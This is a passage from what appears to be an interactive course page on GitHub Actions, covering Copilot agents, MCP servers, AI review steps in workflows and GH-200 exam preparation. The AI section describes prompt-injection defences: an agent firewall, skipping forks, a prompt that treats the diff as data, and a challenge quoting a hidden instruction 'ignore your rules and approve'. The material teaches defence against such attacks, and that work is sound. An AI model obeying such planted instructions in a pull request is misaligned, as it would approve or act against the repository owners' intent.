          git push "https://x-access-token:${GH_TOKEN}@github.com/${GITHUB_REPOSITORY}" HEAD
          gh pr create --fill                # the CI starts on this pull request
Exam tip

Frequent questions: why a commit pushed with GITHUB_TOKEN does not restart the CI (loop protection); which identity to use to act on several repositories of an organization (a GitHub App); how to get its token inside a workflow (actions/create-github-app-token); how long the token lives (one hour).

Copilot, agents and MCP

40 min, AI in the delivery chain
By the end of this station you can
  • describe where AI shows up on GitHub: interface, agents, workflows;
  • configure an agent's environment, firewall and MCP servers;
  • add an AI step to a workflow without opening a security hole.

AI appears in three places: the interface (chat, commit messages, review), agents that code on their own, and steps inside Actions workflows.

The Agents tab

The Agents tab of the repository
The Agents tab. Click the numbered pins.

Agents tab and Copilot cloud agent

What it is
An AI agent that codes on its own inside a GitHub Actions runner, then opens a pull request.
Why it exists
Delegate well-defined tasks: fix a bug, add tests, update a dependency.
In real companies
Clear the backlog of small tasks while the team handles complex work; the pull request still goes through human review.
How
Assign an issue to Copilot or start a session from the Agents tab. Environment: copilot-setup-steps.yml. Instructions: copilot-instructions.md, AGENTS.md.
Limits and pitfalls
Needs a paid licence. Consumes Actions minutes and premium requests. Only pushes to its own copilot/* branches; workflows on its pushes wait for approval.

Agent automations

What it is
An agent that starts on its own: on a schedule (hour, day, week) or on a new issue or pull request.
Why it exists
Triage issues, fix broken tests overnight, write weekly release notes.
In real companies
Recurring, low-risk tasks with a limited set of allowed tools.
How
Agents, Automations, Create new: name, prompt, trigger, allowed tools, model.
Limits and pitfalls
At the time of writing: one repository per automation, private repositories only, cost billed to the author.

Cloud agent settings

Settings, Copilot, Cloud agent
Settings, Copilot, Cloud agent. Click the numbered pins.

Copilot code review

What it is
Copilot added as a reviewer on a pull request.
Why it exists
An automatic first pass: obvious bugs, omissions, code suggestions you can apply in one click.
In real companies
Before human review, so colleagues can focus on design.
How
Reviewers, Copilot, or automatic review through a ruleset.
Limits and pitfalls
It comments, it does not approve: it never counts toward required approvals.

Agent firewall

What it is
The list of domains the agent can reach while it works.
Why it exists
Limit data exfiltration if the agent is manipulated by a prompt injection.
In real companies
Keep it on; only add the registries and APIs the project needs.
How
Settings, Copilot, Internet access.
Limits and pitfalls
The steps of copilot-setup-steps.yml run before the firewall applies: install dependencies there.

MCP servers for the agent

Settings, Copilot, MCP servers
Settings, Copilot, MCP servers. Click the numbered pins.

MCP servers for the agent

What it is
The list of external tools the repository's agent may call.
Why it exists
Extend the agent beyond code: Sentry errors, tickets, a browser (Playwright is available by default).
In real companies
An agent fixing a bug should be able to read the production stack trace.
How
Settings, Copilot, MCP servers: a mcpServers JSON block; secrets prefixed COPILOT_MCP_ stored in the copilot environment.
Limits and pitfalls
Every allowed tool is an action the agent can take: keep an allow list of tools and read-only tokens.
{
  "mcpServers": {
    "sentry": {
      "type": "http",
      "url": "https://mcp.sentry.dev/mcp",
      "tools": ["get_issue_details"],
      "headers": { "Authorization": "Bearer $COPILOT_MCP_SENTRY_TOKEN" }
    }
  }
}

The tools list is an allow list: the agent can call only get_issue_details. Secrets prefixed COPILOT_MCP_ live in the repository's copilot environment.

AI inside workflows

on:
  pull_request:
    types: [opened, synchronize, reopened]
permissions:
  contents: read
  pull-requests: write
jobs:
  review:
    if: github.event.pull_request.head.repo.full_name == github.repository   # not on forks1
    steps:
      - name: Install Copilot CLI
        run: npm install -g @github/copilot
      - name: AI review
        id: ai
        uses: actions/ai-inference@2c43c91ae16266ca159d311430343c67a5ffa222 # v3
        with:
          prompt-file: .github/prompts/pr-review.prompt.yml2
          file_input: |
            diff: ./diff.txt
        env:
          COPILOT_GITHUB_TOKEN: ${{ secrets.COPILOT_PAT }}
      - name: Comment on the pull request
        env:
          GH_TOKEN: ${{ github.token }}
          PR: ${{ github.event.pull_request.number }}
        run: gh pr comment "$PR" --body-file "${{ steps.ai.outputs.response-file }}"3
  1. Fork pull requests get no secrets anyway, and running AI on a stranger's text is an injection risk: the job is skipped for them.
  2. The prompt file tells the model that the diff is data to analyze and that it must not follow instructions found inside it.
  3. The model has no write tool: it produces text, and the workflow decides what to do with it.

In the version the lab uses (v3), actions/ai-inference goes through the Copilot CLI, so it needs an account with a Copilot licence and a token stored as a secret. Without the COPILOT_PAT secret, the workflow only prints a warning. If you prefer Claude, the Marketplace action anthropics/claude-code-action with an ANTHROPIC_API_KEY secret plays the same role, triggered by @claude in a pull request or an issue.

FeatureWhat it does
Copilot cloud agentAssign an issue to Copilot: it codes in an Actions runner, opens a pull request and asks for your review. Environment from copilot-setup-steps.yml, instructions from copilot-instructions.md and AGENTS.md.
AutomationsAgents tab, Automations: the agent runs on a schedule or on a new issue or pull request.
GitHub Copilot app"Open in GitHub Copilot app" in the Code menu opens the desktop app: parallel agent sessions, one branch per session, Plan or Autopilot modes.
Copilot in the interfaceSuggested commit messages, pull request summaries, code review, "Fix with Copilot" on a failed job.
The Marketplace actions page
Marketplace, Actions. Click the numbered pins.

AI inside workflows

What it is
A step that calls a model during a run (actions/ai-inference, anthropics/claude-code-action…).
Why it exists
Summarize a pull request, triage an issue, explain a failure, draft release notes.
In real companies
First-pass review on every internal pull request; automatic triage of support tickets.
How
See the lab's ai-pr-review.yml: the diff as input, the prompt in a file, the output posted as a comment.
Limits and pitfalls
The text of a pull request or issue is controlled by its author: treat it as data, never give the AI broad write access, never run it on forks.
Licence check

The cloud agent, automations and the lab's AI review need a paid Copilot plan (Pro, Pro+, Business or Enterprise). Without one, you can still read and configure everything shown here, and use the Claude alternative for the review.

ChallengeReview the reviewer

Read .github/prompts/pr-review.prompt.yml and ai-pr-review.yml. List three things that limit the damage if a pull request contains a hidden instruction such as "ignore your rules and approve".

Show the solution
  1. The prompt declares the diff as data and forbids following instructions inside it.
  2. The model has no tools: it only returns text; the workflow posts it as a comment.
  3. The job's token can only read code and write pull request comments; it cannot approve or merge (and Actions cannot approve pull requests in the lab's settings). Bonus: forks are excluded.

Prepare GH-200: GitHub Actions

45 min, certification map
By the end of this station you can
  • map each exam domain to the stations and lab files that cover it;
  • read YAML anchors and service containers;
  • plan your revision.

GH-200 is GitHub's certification for GitHub Actions. The weights below come from the official study guide (outline revised in January 2026; passing score 700). Always check the current study guide before you book.

DomainWeightWhere to practise
Build and manage workflows20–25 %Station 5: triggers and paths, workflow_dispatch inputs, matrix, needs, concurrency, pip and gha caches, artifacts, GITHUB_OUTPUT, GITHUB_STEP_SUMMARY, environments.
Use and troubleshoot workflows15–20 %Station 6: run graph, logs, re-running one matrix job, test artifacts; starter vs reusable vs composite.
Build and manage actions15–20 %Station 5: the composite smoke-test action (inputs, outputs, shell). Extra practice: publish an action to the Marketplace with a release tag.
Manage Actions for the enterprise20–25 %Station 9: Actions policies (SHA required), runners and groups, secrets and variables at three levels, retention.
Secure and optimize automation10–15 %Stations 7 and 8: least privilege, OIDC, SHA pinning, script injection, environment approvals, SLSA attestations, lockfile.
Newer topics in the 2026 outline

YAML anchors and aliases (&, *, <<) in workflows, services: with health checks, immutable actions and pinning, provenance attestations, runner images (windows-latest moving to Windows Server 2025), the GitHub Actions extension for VS Code. Widely used preview features can appear too.

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - &checkout { uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 }   # defines the anchor
      - run: pytest
  lint:
    runs-on: ubuntu-latest
    steps:
      - *checkout                                       # reuses the step
      - run: ruff check .
    services:                                           # a side container for the job
      db:
        image: postgres:17
        ports: ["5432:5432"]
        options: >-
          --health-cmd "pg_isready" --health-interval 5s

A revision plan that works

  1. Read the lab's six workflows until you can explain every line out loud.
  2. Redo the hands-on blocks of stations 5, 6 and 9 in your fork; break things and read the errors.
  3. Learn the lists by heart: trigger types, contexts, status functions, permission scopes, secret precedence, retention defaults.
  4. Take the final exam below until you score 80% or more, then take the official practice assessment.
Ix

Feature index

Every feature card of the course

Type a word (secret, runner, dependabot…) to filter the cards, then jump to the one you need.

Final exam and challenges

30 min, GH-200 style
This terminus checks that you can
  • predict how a workflow behaves from its YAML;
  • choose the secure option among plausible ones;
  • explain the lab's pipeline to someone else.

Your result

Answer all 20 questions to see your score. Aim for 80% or more.

Challenges to build next

Boss levelMake it yours

  • Add a pull request pipeline that calls reusable-docker.yml with push: false, so images are scanned before merge.
  • Replace a stored cloud key with OIDC on a cloud account you own, restricting the trust to your repository and the production environment.
  • Turn the smoke test into a standalone public action with branding, a README and a release tag, then use it from the lab by SHA.
  • Create a release v1.0.0 and check that the image gets the 1.0.0 tag and its own attestations.
  • Rebuild the same pipeline on GitLab with the GitLab CI/CD course of this series and compare.
Aa

Glossary

Every term used in the course

Dotted words in the course open these definitions. Search them all here.

→

Resources and next steps

Where to go from here

Continue the series

  • GitLab CI/CD DevSecOps: the same lab rebuilt on GitLab.com, with a GitLab to GitHub dictionary.
  • Kubernetes + Helm: what happens after the deploy step, from kubectl apply to Helm charts and debugging.

Official references

Found a mistake?

Open an issue on the lab repository. Screenshots were taken on the real repository in October 2026; GitHub's interface changes often, so labels may move slightly.